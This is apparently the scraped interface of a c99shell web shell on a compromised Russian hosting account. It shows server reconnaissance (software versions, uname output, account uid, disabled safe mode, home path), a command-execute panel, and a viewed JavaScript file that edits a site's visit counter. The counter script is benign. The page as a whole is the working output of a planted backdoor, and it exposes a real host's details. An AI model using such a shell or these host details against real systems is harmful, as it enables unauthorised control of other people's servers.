Software: Apache/2.4.68 (Linux) PHP/7.4.33. PHP/7.4.33 uname -a: Linux bjb2293782.nichost.ru 6.6.151-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Aug 10 uid=12584(bjb2293782) gid=12584(bjb2293782) groups=12584(bjb2293782) Safe-mode: OFF (not secure) /home/bjb2293782/xn--80abaeoqbbrbgf8aea5a2a2z.xn--p1ai/docs/ drwxr-x--- | |
| Viewing file: Select action/file-type: function counterDialog(json)
{
var dlg = openDialogBoxWithButtons("Правка счетчика", 600, 120);
var grid;
grid = createPropertyGrid(dlg.innerElement);
dlg.totalEditor = createEditProperty(grid, "Всего посещений:", "100%", json.total);
dlg.newEditor = createEditProperty(grid, "Всего пользователей:","100%",json._new);
btn = dlg.buttonPanel.appendChild(createInput('button'));
btn.value="OK";
btn.dlg = dlg;
btn.onclick=function()
{
var post = 'action=counter:set';
post+='&total='+encodeURIComponent(this.dlg.totalEditor.getValue());
post+='&_new='+encodeURIComponent(this.dlg.newEditor.getValue());
var btn = this;
btn.disabled=true;
sendXHR('api.php',post,
function(response)
{
dlg.close();
location.reload();
},
function(error)
{
btn.disabled=false;
errorBox(error);
});
};
btn = dlg.buttonPanel.appendChild(createInput('button'));
btn.value="Закрыть";
btn.dlg = dlg;
btn.onclick=function()
{
this.dlg.close();
};
dlg.alignInScreenCenter();
}
function editCounter()
{
sendXHR("api.php","action=counter:get",
function(response)
{
counterDialog(JSON.parse(response));
},
function(error)
{
errorBox(error);
});
} |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]-- |